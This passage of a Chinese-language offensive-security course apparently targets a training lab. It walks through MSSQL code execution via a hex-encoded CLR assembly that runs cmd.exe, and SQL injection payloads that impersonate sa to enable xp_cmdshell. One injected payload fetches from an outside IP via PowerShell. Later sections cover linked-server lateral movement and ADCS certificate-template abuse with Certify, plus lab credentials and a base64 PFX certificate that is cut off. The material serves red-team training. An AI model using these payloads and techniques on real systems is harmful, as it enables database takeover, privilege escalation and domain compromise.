23537472696e6773000000004c080000e80000002355530034090000100000002347554944000000440900001001000023426c6f620000000000000002000001571502000902000000fa013300160000010000001c000000030000000100000005000000050000002b0000000d000000010000000100000003000000010000000000b1020100000000000600ed01ae0306005a02ae03060038019b030f00ce03000006004c01cd020600d001cd020600b101cd0206004102cd0206000d02cd0206002602cd0206007901cd0206009401cd0206003004c6020a0063014e030e0009049b030600df02c602060020036e0406001d01ae030e00ee039b030a007a044e030a0015014e0306008e02c6020e00f7029b030e00c4009b030e0035039b0306000803360006001503360006002700c602000000002d00000000000100010001001000dd030000350001000100030110000100000035000100040006006404740050200000000096005e007800010080200000000096008b001a00020040220000000086189503060004004022000000008618950306000400482200000000830016007d000400000001007d0000000100e400000002001f04000001002e03000002000404090095030100110095030600190095030a00290095031000310095031000390095031000410095031000490095031000510095031000590095031000610095031000710095030600910095030600a1000c011500a90096001000b10029041a007900950306007900e9022d00b900d7001000b10098043200b90011041000b90085043700b900b4003c00b90078023700b9007b033700b90049043700890095030600c90095034200790066004800790043044e007900ed000600790069035200d900810057007900370406008100a8005700b10029045b0079009b00610069008c025700890001016500890095026100e1008c02570069009503060099004c005700200063000b012e000b0084002e0013008d002e001b00ac002e002300b5002e002b00cb002e003300cb002e003b00cb002e004300d1002e004b00e1002e005300cb002e005b00fe0063006b000b012000048000000100000000000000000000000000a00200000200000000000000000000006b005500000000000200000000000000000000006b004000000000000200000000000000000000006b00c60200000000030002000000003c3e635f5f446973706c6179436c617373315f30003c52756e436f6d6d616e643e625f5f3000496e743332003c4d6f64756c653e0053797374656d2e494f0053797374656d2e44617461006765745f44617461006d73636f726c696200436d6445786563006164645f4f757470757444617461526563656976656400636d640052656164546f456e640052756e436f6d6d616e640053656e64006765745f45786974436f6465006765745f4d657373616765007365745f57696e646f775374796c650050726f6365737357696e646f775374796c65007365745f46696c654e616d650066696c656e616d6500426567696e4f7574707574526561644c696e6500417070656e644c696e65006765745f506970650053716c5069706500436f6d70696c657247656e6572617465644174747269627574650044656275676761626c6541747472696275746500417373656d626c795469746c654174747269627574650053716c50726f63656475726541747472696275746500417373656d626c7954726164656d61726b41747472696275746500417373656d626c7946696c6556657273696f6e41747472696275746500417373656d626c79436f6e66696775726174696f6e41747472696275746500417373656d626c794465736372697074696f6e41747472696275746500436f6d70696c6174696f6e52656c61786174696f6e7341747472696275746500417373656d626c7950726f6475637441747472696275746500417373656d626c79436f7079726967687441747472696275746500417373656d626c79436f6d70616e794174747269627574650052756e74696d65436f6d7061746962696c697479417474726962757465007365745f5573655368656c6c4578656375746500546f537472696e67006765745f4c656e6774680057617253514c4b69744d696e696d616c0057617253514c4b69744d696e696d616c2e646c6c0053797374656d0053797374656d2e5265666c656374696f6e00457863657074696f6e006765745f5374617274496e666f0050726f636573735374617274496e666f0053747265616d526561646572005465787452656164657200537472696e674275696c6465720073656e646572004461746152656365697665644576656e7448616e646c6572004d6963726f736f66742e53716c5365727665722e536572766572006765745f5374616e646172644572726f72007365745f52656469726563745374616e646172644572726f72002e63746f720053797374656d2e446961676e6f73746963730053797374656d2e52756e74696d652e436f6d70696c6572536572766963657300446562756767696e674d6f6465730053746f72656450726f63656475726573004461746152656365697665644576656e744172677300617267730050726f63657373007365745f417267756d656e747300617267756d656e747300436f6e636174004f626a6563740057616974466f7245786974005374617274007365745f52656469726563745374616e646172644f7574707574007374644f75747075740053797374656d2e546578740053716c436f6e74657874007365745f4372656174654e6f57696e646f770049734e756c6c4f72456d707479000000004143006f006d006d0061006e0064002000690073002000720075006e006e0069006e0067002c00200070006c006500610073006500200077006100690074002e00000f63006d0064002e00650078006500000920002f006300200000334f00530020006500720072006f00720020007700680069006c006500200065007800650063007500740069006e006700200000053a002000001753007400640020006f00750074007000750074003a0000372000660069006e00690073006800650064002000770069007400680020006500780069007400200063006f006400650020003d0020000000c1b0e79eb8eb6348be1e0c1d83c2d05800042001010803200001052001011111042001010e04000012550500020e0e0e0c0706120c123d0e1241124508042000125d040001020e0420010102052001011161052002011c180520010112650320000204200012690320000e0500010e1d0e0320000805200112450e08b77a5c561934e08903061245040001010e062002011c124d0801000800000000001e01000100540216577261704e6f6e457863657074696f6e5468726f7773010801000200000000001501001057617253514c4b69744d696e696d616c00000501000000000f01000a457975702043454c494b00001c010017687474703a2f2f6579757063656c696b2e636f6d2e747200000c010007312e302e302e3000000401000000d82c00000000000000000000f22c0000002000000000000000000000000000000000000000000000e42c0000000000000000000000005f436f72446c6c4d61696e006d73636f7265652e646c6c0000000000ff25002000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001001000000018000080000000000000000000000000000001000100000030000080000000000000000000000000000001000000000048000000584000005c03000000000000000000005c0334000000560053005f00560045005200530049004f004e005f0049004e0046004f0000000000bd04effe00000100000001000000000000000100000000003f000000000000000400000002000000000000000000000000000000440000000100560061007200460069006c00650049006e0066006f00000000002400040000005400720061006e0073006c006100740069006f006e00000000000000b004bc020000010053007400720069006e006700460069006c00650049006e0066006f0000009802000001003000300030003000300034006200300000001a000100010043006f006d006d0065006e007400730000000000000022000100010043006f006d00700061006e0079004e0061006d00650000000000000000004a0011000100460069006c0065004400650073006300720069007000740069006f006e0000000000570061007200530051004c004b00690074004d0069006e0069006d0061006c0000000000300008000100460069006c006500560065007200730069006f006e000000000031002e0030002e0030002e00300000004a001500010049006e007400650072006e0061006c004e0061006d0065000000570061007200530051004c004b00690074004d0069006e0069006d0061006c002e0064006c006c00000000005400180001004c006500670061006c0043006f007000790072006900670068007400000068007400740070003a002f002f006500790075007000630065006c0069006b002e0063006f006d002e007400720000002a00010001004c006500670061006c00540072006100640065006d00610072006b00730000000000000000005200150001004f0072006900670069006e0061006c00460069006c0065006e0061006d0065000000570061007200530051004c004b00690074004d0069006e0069006d0061006c002e0064006c006c000000000036000b000100500072006f0064007500630074004e0061006d0065000000000045007900750070002000430045004c0049004b0000000000340008000100500072006f006400750063007400560065007200730069006f006e00000031002e0030002e0030002e003000000038000800010041007300730065006d0062006c0079002000560065007200730069006f006e00000031002e0030002e0030002e003000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000000c000000043d00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 WITH PERMISSION_SET = UNSAFE;
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/Skirayovm1ToX4cS-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/Skirayovm1ToX4cS-image.png)

最后，创建一个过程并执行系统命令，我们可以看到执行的输出：

```sql
CREATE PROCEDURE sp_cmdExec @Command [nvarchar](4000) WITH EXECUTE AS CALLER AS EXTERNAL NAME WarSQLKit.StoredProcedures.CmdExec;
EXEC sp_cmdExec 'whoami';

```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/S9CwbkUS9aKaetTj-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/S9CwbkUS9aKaetTj-image.png)

至于 SqlRecon，虽然有一键 CLR 命令执行的功能，但需要文件落地。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/j8R8lxPr0wazVLAK-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/j8R8lxPr0wazVLAK-image.png)

### **特权提升**

在 SQL 注入部分，我们知道当前登陆为 **webapp**，并不是 **sysadmin** 的一员，因此不具备执行远程代码的权限。但如果权限被不当配置了，那么有可能存在特权提升的路径，从而使得当前登陆 webapp 获得 sysadmin 的权限，从而实现代码执行等目的。

在 MSSQL，有一个特性被称为模仿 (Impersonation)，指的是一个用户/登陆可以以另一个用户/登陆的上下文执行语句。因此，如果登陆 webapp 可以模仿 sa 或其他高特权用户，可以实现特权提升。

仅借助 SQL 查询语句，我们难以查询出当前登陆/用户可以模仿哪些其他登陆/用户，但是我们可以查询出哪些登陆/用户可以被模仿，但是返回的登陆或用户不一定是当前用户可模仿的，可能是其他登陆或用户才可模仿的。

```sql
SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE';
```

因此，我们可以构造出如下的 SQL 注入载荷查询出哪些登陆或用户可以被模仿：

```sql
pain' union SELECT distinct b.name,2,3 FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE';--
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/CIaBqRqsTQreZ7vb-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/CIaBqRqsTQreZ7vb-image.png)

我们看到，sa 可以被模仿。那么，sa 可被谁模仿呢，是否可以被当前的 webapp 所模仿？不妨试一试。我们知道，webapp 的权限不足以开启 xp\_cmdshell，那么如果我们能模仿 sa，就能以 sa 的上下文开启 xp\_cmdshell。通过 **execute as login='sa'** 命令，我们可以尝试模仿 sa。之后，承接着开启 show advanced options 和 xp\_cmdshell 的语句。

```sql
pain'; execute as login='sa'; exec sp_configure 'show advanced options', 1; reconfigure; execute as login='sa'; exec sp_configure 'xp_cmdshell', 1; reconfigure; --
```

最终，我们使用如下语句查询 xp\_cmdshell 的状态：

```sql
pain' union select value,2,3 from sys.configurations where name='xp_cmdshell';--
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/MLjIjBTFc6qX9EdF-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/MLjIjBTFc6qX9EdF-image.png)

我们发现，模仿 sa 成功了，而且还开启了 xp\_cmdshell 了。因此，我们实际上是可以通过利用 .NET 应用的 SQL 注入漏洞获得 RCE 的。关于模仿，在服务器端查看就很直观了。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/8Jdt9imlggIWk9YN-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/8Jdt9imlggIWk9YN-image.png)

最后，我们实际测试一下通过该 SQL 注入达成的 RCE，载荷如下

```sql
pain'; execute as login='sa'; exec xp_cmdshell 'powershell iwr http://89.117.62.45:8080/rce'; --
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/VLu5N48mBR7kxDrh-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/VLu5N48mBR7kxDrh-image.png)

Python HTTP 服务器的 log 有了请求，说明代码执行成功。只是输出并不会显示在网页页面上。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/WTRP5IBKX9kTDGFK-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/WTRP5IBKX9kTDGFK-image.png)

### **横向移动**

在 Microsoft SQL Server 中，SQL 链接或链接服务器指的是连接到不同服务器上的数据库并查询其数据的能力。这在从多个数据库访问数据时非常有用，但这些数据库位于不同的服务器上。然而，攻击者可以利用该特性横向移动到其他 SQL 服务器。

我们可以使用 PowerUpSQL、SqlRecon 或原始查询来枚举 SQL 链接。使用原始查询语句，我们可以借助如下语句之一：

```sql
exec sp_linkedservers;
select * from master..sysservers;
```

不过返回结果显示地很混乱

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/y3FWHldh8kNWvaqY-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/y3FWHldh8kNWvaqY-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/InELE6f6aGrivxH3-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/InELE6f6aGrivxH3-image.png)

如果使用 PowerUpSQL，执行以下命令以检查 SQL 链接：

```powershell
Get-SqlServerLinkCrawl -Instance "<实例名>"
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/thVcMlOjHffpKjDB-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/thVcMlOjHffpKjDB-image.png)

我们可以看到，PowerUpSQL 可以嵌套式地帮我们爬取所有可以通过 SQL 链接访问到的实例，例如 Srv02，Web02。梳理一下逻辑，链接关系如下：

**Srv01 -&gt; Srv02**

**Srv02 -&gt; Web02**

**Web02 -&gt; Srv02**

此外，PowerUpSQL 还能显示当前登陆对链接的 SQL 实例是否具有 sysadmin 权限。很显然，prod\\sql\_service 并不能通过 SQL 链接对另外 2 个 SQL 实例具有 sysadmin 权限，因为用户在目标域内被映射为 guest 用户，权限自然是不够的。

使用 SqlRecon 也可以爬取 SQL 链接，但是仅爬取与当前实例直接链接的实例

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/4zNKVt5mtdQugtCi-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/4zNKVt5mtdQugtCi-image.png)

既然 SQL02 是直接链接到 SQL01 的实例，那么我们该怎么通过 SQL 链接对其进行枚举，甚至执行代码呢？我们可以通过 openquery 语句进行跨链接语句执行：

```sql
select * from openquery ("<链接服务器>",'<SQL 语句>');
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/Qe1ocrLGhWlBSgjB-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/Qe1ocrLGhWlBSgjB-image.png)

我们可以看到，当前用户 prod\\sql\_service 在 Srv02 的 SQL 实例中对应的用户为 guest，自然是没有 sysadmin 权限的。SqlRecon 显示出了更具体的信息：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/FS39JNiyt1k0UY7E-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/FS39JNiyt1k0UY7E-image.png)

SQL Server 有一个叫做“登录映射”的概念，是指将当前 MSSQL 服务器的登录/用户名映射到另一个 MSSQL 服务器上的登录/用户名的过程。 当我们想要授予当前 MSSQL 服务器的用户对另一台 MSSQL 服务器实例上的资源的访问权限，而不需要在另一台 MSSQL 服务器上创建新的登录名时，这会很有用。 如果 Srv01 上的一登陆/用户被在 Srv02 上被映射为特权登陆/用户，例如 sa，那么我们就可以用于提权。因为 prod\\sql\_service 在 Srv01 上是 sysadmin，自然可以模范任何登陆，包括 sa。考虑到 Srv01 上的 sa 可能会在 Srv02 被映射为 sa，不妨尝试一下：

```sql
execute as login='sa';select * from openquery ("Srv02",'select system_user');
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/F6aJb5ezDwUGCZkC-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/F6aJb5ezDwUGCZkC-image.png)

果然是这样映射的。在 MSSQL 服务器中，配置如下所见：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/LOwNPnGmshh3IOYJ-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/LOwNPnGmshh3IOYJ-image.png)

我们可以看到，当前的 sa 被映射到了远程 MSSQL 服务器的 sa，除了本地 sa 之外的登陆或用户，全部映射为 guest 用户。这与我们之前所见是相符的。

既然已经对 Srv02 有了 sysadmin 权限了，那我们需要进行代码执行以及横向移动。首先，我们需要开启 xp\_cmdshell 或其他执行命令的方法。

```sql
exec ('sp_configure ''show advanced options'', 1; reconfigure; exec sp_configure ''xp_cmdshell'', 1; reconfigure;') AT <链接服务器>
```

但是，我们得到了这样的报错：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/tX2NlTe7Cvwi3MHK-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/tX2NlTe7Cvwi3MHK-image.png)

这是因为 **rpcout** 没有开启，我们需要手动开启：

```sql
exec sp_serveroption 'srv02','rpc out','true';
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/uY6awj5xKAFhQbws-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/uY6awj5xKAFhQbws-image.png)

这样，我们就成功地开启了 Srv02 的 xp\_cmdshell 了。想到我们之前通过 openquery 对链接服务器进行语句查询，我们很自然地想到将 **exec xp\_cmdshell '&lt;命令&gt;'** 与 **openquery** 相结合，但实际上这样不可行，因为使用 **openquery** 关键字不支持**执行存储过程**。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/s5k1x5vLWAm3fFiS-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/s5k1x5vLWAm3fFiS-image.png)

但我们可以通过以下命令，对链接 SQL 服务器进行命令执行并获得输出结果：

```sql
exec('xp_cmdshell ''<命令>'';') at <链接服务器>
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/tBp5c8gbOaTDgXWn-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/tBp5c8gbOaTDgXWn-image.png)

实际上，非要使用 openquery 执行命令是可行的，但我们看不到输出结果，语句如下：

```sql
Select * From openquery("<链接服务器>", 'select @@servername; exec xp_cmdshell ''<命令>'' ')
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/Vh3xMIYikceDaVqo-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/Vh3xMIYikceDaVqo-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/SOUvcWmpB8X8gGqR-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/SOUvcWmpB8X8gGqR-image.png)

虽然看不到输出结果，但是新增的访问请求证明了命令被执行成功了。

#####   


##### **课堂拓展**

1：更新之前的对 .NET 应用一键执行任意 SQL 语句的脚本，修改为一键开启 xp\_cmdshell 并执行代码 (不要求有回显，但能实现是最好的)

2：使用 SqlRecon 进行 xp\_dirtree

3：使用 PowerUpSQL 执行 xp\_cmdshell 代码

4：尝试亲自编译 .NET DLL 并转换为 Hex 格式，实现 CLR RCE

5：从 Srv01 跨链接对 Srv02 进行远程代码执行，使用 OLE 自动化存储的方法。

6：从 Srv01 跨链接对 Srv02 进行远程代码执行，使用 CLR 的方法。

7：从 Srv01 跨越 2 层链接对 Web02 进行远程代码执行，使用任意 RCE 的方法

# ADCS的利用

在上一个章节，我们已经简单了解过了 ADCS 的概念、作用、以及简单的枚举。在这一节，我们侧重于 ADCS 相关的利用。在我们的 Lab 中，只有 Med-factory 域配置了 ADCS，我们可以在 Raven-med 森林中对 Med-factory 域的资源进行枚举。出于教学与学习目的，我们提供了 stg01 主机的本地管理员凭证以及对 ADCS 服务具有特定权限的用户 med-factory\\justin 的凭证。

```shell
stg01\Administrator:Passwordstg01
med-factory\justin:Flower1978@#
```

如果有学员不太清楚如何利用这些凭证，我们可以在 CS 上运行以下步骤便可以获得 stg01 的 Beacon。

先创建一个 SMB 监听器，名为 smb。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/PkTuPAt77ZOuQpFU-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/PkTuPAt77ZOuQpFU-image.png)

使用 **make\_token** 命令创建 stg01 本地管理员的令牌，使用 **psexec** 方法移动到 stg01，权限等级为 SYSTEM。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/Ou0EH8PPIMEZKpAs-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/Ou0EH8PPIMEZKpAs-image.png)

然后创建 justin 的 令牌

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/1jeFAVutn7G77ElH-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/1jeFAVutn7G77ElH-image.png)

尽管我们在上一章节简单介绍了 ADCS 的概念，但随着利用的展开，我们需要了解更多的名词和概念，一起来补充一下吧。

### **名词与概念**

#### **PKI**

PKI 即公钥基础设施。PKI 是一个由硬件、软件、策略和程序组成的系统，用于创建、管理、分发、使用、存储和撤销数字证书并监督公钥加密。它主要包括证书颁发机构 (CA)、注册机构 (RA) 和证书库。通过 PKI，可以实现数据加密、身份验证、数据完整性和不可抵赖性，以确保在网络中安全地传输和存储信息。

##### **企业 CA**

Certification Authority (CA) 是颁发数字证书以建立不同系统和网络之间信任的可靠实体，企业 CA 是一种与 Active Directory 集成的证书颁发机构，以便对用户、设备、服务等进行身份验证和安全通信，可促进 PKI 基础设施的管理。

##### **证书模板**

证书模板是预定义的证书配置文件，包含了创建数字证书所需的一系列参数和属性。证书颁发机构在颁发证书时，可以根据证书模板来生成具有特定用途和设置的证书，以满足不同的安全需求和应用场景。

##### **CSR**

CSR 是一个包含公钥及申请者身份信息的文件，用于向证书颁发机构申请数字证书。当一个实体需要获得数字证书时，它会创建一个 CSR，其中包含公钥和需要加密的信息。证书颁发机构在收到 CSR 后，将验证其中的信息，并在批准后签发数字证书。

##### **EKU**

EKU 是数字证书中的一个可选扩展，用于指定证书的特定用途。通过 EKU，可以限制证书用于特定的操作，如服务器身份验证、客户端身份验证、代码签名等。这有助于提高安全性，防止证书被滥用。

##### **SAN**

Subject Alternative Names 是数字证书的扩展，可以将其他身份与同一证书相关联。 SAN 允许在单个证书中包含多个 DNS 名称、IP 地址和电子邮件地址等，从而可以将其用于各种目的或服务。 当使用多个名称访问同一服务或资源时，此功能特别有效。

### **枚举的回顾**

我们用了 Cerfity 枚举了企业 CA，证书模板信息。企业 CA 名称为 **dc03.med-factory.local\\med-factory-DC03-CA**。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/4Tq8KMoXf2ghjj6l-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/4Tq8KMoXf2ghjj6l-image.png)

以及存在这些模板

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/Krf7Nmnxs4I3WkLl-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/Krf7Nmnxs4I3WkLl-image.png)

这些模板中，**Vuln1** 与 **Vuln2** 是被刻意设计的脆弱模板。

我们使用命令 certify.exe find /vulnerable /currentuser 来寻找当前用户，即 Justin 具有特定权限的证书模板：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/3ebVLj8SV42BGrp5-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/3ebVLj8SV42BGrp5-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/gF5gVrM2acrgNPQb-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/gF5gVrM2acrgNPQb-image.png)

我们发现 justin (属于分组 **ADCSManager**)对于证书模板 **Vuln1** 具有**注册权**，对于证书模板 **Vuln2** 具有**修改权**。接下来，我们讨论如何利用它们。

### **攻击与利用**

##### **可被指定的 SAN**

当指定的证书模板允许用户指定 SAN 的话，申请者可以提供高权限用户的用户名从而为其申请证书，进而通过证书进行认证实现模仿高权限用户/提权。回顾一下 Vuln1 模板的 **msPKI-Certificate-Name-Flag** 属性，值为 **ENROLLEE\_SUPPLIES\_SUBJECT**，说明 Vuln1 证书模板允许用户自行指定 SAN。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/HF3xt680ydJvjqo9-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/HF3xt680ydJvjqo9-image.png)

在 CA 上，该证书模板配置如下：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/WUkTLYhoSt9TDTam-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/WUkTLYhoSt9TDTam-image.png)

我们可以使用 Certify 和 Rubeus 来利用这一配置缺陷。首先，我们使用 Certify 为域管理员用户 administrator 使用 Vuln1 模板申请证书

```powershell
certify.exe request /ca:<CA> /template:<模板> /altname:<模板的高权限用户>
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/137HcryV7vLZz9LI-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/137HcryV7vLZz9LI-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/Kvjas97NjN5Uhcmq-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/Kvjas97NjN5Uhcmq-image.png)

将私钥以及证书一起复制并保存为 **cert.pem**，然后使用 **openssl** 将其转换为 **pfx** 格式，并 **base64** 编码后格式化输出：

```shell
root@ts:/tmp/tmp# nano cert.pem
root@ts:/tmp/tmp# openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
Enter Export Password:
Verifying - Enter Export Password:
root@ts:/tmp/tmp# cat cert.pfx | base64 -w 0
MIIM/wIBAzCCDMUGCSqGSIb3DQEHAaCCDLYEggyyMIIMrjCCBucGCSqGSIb3DQEHBqCCBtgwggbUAgEAMIIGzQYJKoZIhvcNAQcBMBwGCiqGSIb3DQEMAQYwDgQI0RJnCrahg8wCAggAgIIGoIjJead0b/1m72Vnxs/XXSWmxuaS9C7iEV67kvoztfs1ZV67FoWOiL4TmaTSHRxfDfqtZqxBbGmWZLs6pqFH9q/UO8NQMrJ0tNbwdR7Pg+P09Ox4qxtwVWndrndMoN5HD/jZqs6KgXKKJcIp47zSxS7hkYVGSq33zSN6GCSeJnq+WJeZTG4Qg+FsRaE3Ew69bm7hhvYNnwsYSY6xtBJ4EA0frAkd7ex5O+5qideq38AIhbAusTxxN7+KuqpnsN6T+7PQq6i2UeEenyIkaW+xMj0XwcN67q5ZBmsanqVI+aX0JAnwxYclkPQAczSGeNbUlcXoN+ERsV0FUvlc/KpysZbm+kMbDG7Stm3Cx9PN46GdMbMaDMU4P7fSE416XBPfIaGZfNJc2GMZNWoUqYqvBqTw6MEIauWCgCzLp2jPB6jEiGbtHVHHyCxAtRPKkDEQZx+fkB9VCSf0+m8XeBNqkopwnPJUWnLBHN7CjEIw4qnX8vXzt5XJYNclbmh+naM7xeCBKYShVO6NSVdSNxme8ruuUc8U2mvYHXcHfC9HUcJ+RbWP7PDc2ZeyF8Sht2hBCyKUmIgHq9r/WetXkZp5dtUWNPq1C7g76ImmEQ9kvzFFZ7V1TwcVnd/AdnkizVU4zdrpe5Ifqlt2bPvUgaVzqq0frjEBPeCtL2V/u06FKhYuPPRdov+J3QpRGM+HrtiLUNmFX3IrdJcKaiFxiaAW+db97cXOCtwLJBWbEY8duwoyUAXPtsHSFVk1g8tExceA3A1kHf4k7HozSeNMFVU4H3azBeAnrjkgUrWb7ICT3Ar7JScsqVDzrc8GUsbzI9rvoY028G6KXCtCvytYlsqTK//SFiwibf7LKGG5YfSUjV+uYMepayYG8juW1nfyXWVXnaMSjrQNSQ2ZLrsEHALbF9XarouLAXBtUhWqpxPvPXCa3GOWP+Zx4nAA0tj8NY0ia0pVh7kBCXXQHGiwWFQsswYyS2j7F0GMDXtHI7arvYBJa91H03ELdkQNbjRvMm00dMAiiQh75kjsMysdHHK1bVWRV+SCvG6CxRcMDEBDEuDoSJPElmgeZBipG/t60Sn32mnXUfK/s+n+GWpk7vJCwpwslZxxsb5I6wlTpaSoistH7rpj/WOB3QRX7xh9WaKG98Ejm1o+vPHNTKNXXKMdmRO6/fg53n8A3YW06Z4maKHMynhz4C2ya8B0NRrbJ0ypCu31lfbWWLGP08baVdgDOq6189BKm5JWMDhfwTMn6SkUMMN/yQM7UiHiiQj6ONN/fz6aSoSUvWf+N/p/GxkvP8F8m5+dUxYduPMX2WP87fOC3JlAw8EetG9/+ESd8iv7muAMIIgQWFXgZac3CTffwgIUCiXel71kHeN7SA3YZjSGM3H1rJQCt2uPzj8Bwrm8GPMuTVlwffptbHz0HuORI/coz3Du0Ntk+WrVHbnON7IQ/SQUkHAMoFdAXw/wYRGgzXFwf2QWqVvfO8S0TS1fgrmmzwm6SUUcAZNN6rJblZpm9GhhSsSI4eDnA5r9+TXxz5or7lUPBYSptSDwx8PFjWVJSJ4tsejlEtrvCJNk2+T2U1oZQzKhBiWIqeWKLEwOf9dMKc3MIhyBc/Kvs/x4zYPthOg6gbHJY1+TYbHjLK1iIPN8Fje/jW1I1bKGik/VuE9pLJ1vbrUfV50T3bu9ZEDfDbhUixZ8MB3n+hcmlQajJfCU7/Gk2qioWxPKVRmUzHpqHFnPgeF0YLRcVOC3ZRLLjIjiDEmg5JQY+GFL7LOXxbc5KcsEjk4cuGWOoMXw57XuaMxVj8BQO7v3QHPMK3ou0TNCFp9JPrThPPufokWo9jFqrFhF4uHxj7PpcQhn9qpwHtu2bG2ipuMJ6CBi5wEO5gejST/6wAXwTYFUbsHWFSK1YDLQht5GfzBFL6K9UCJOoXucFbdtqcEJNhdz+4DW28iYXiN3wW+bljcSdUPsKBpgzfttMJZ/PtqRwuyWyPt6H55l6A8E4oZH6XwHsm3JpZTi5zA7XUZ21o/rH5Fyf5JxRla0u7LeCnMZFSgnzRUy20wGvePZD4GinUGwW7UtlAY62dGdeMPo270KDpg65gb1rMzeQJUuQHVzaJYNPYYb1TqIV5YhpOWv/dDkqf3RxoUmFxX+tUaiFlKGfru80jdAFxg1lkxmFZiPuFwlD0xWjh1p4zc7wtYZt6LVtD+s1tNYZ7eeP7a1g02B13PdHUWeUyGvX+thj/2lmzESASOmHjG3aGrSpBqGniZo1BYwggW/BgkqhkiG9w0BBwGgggWwBIIFrDCCBagwggWkBgsqhkiG9w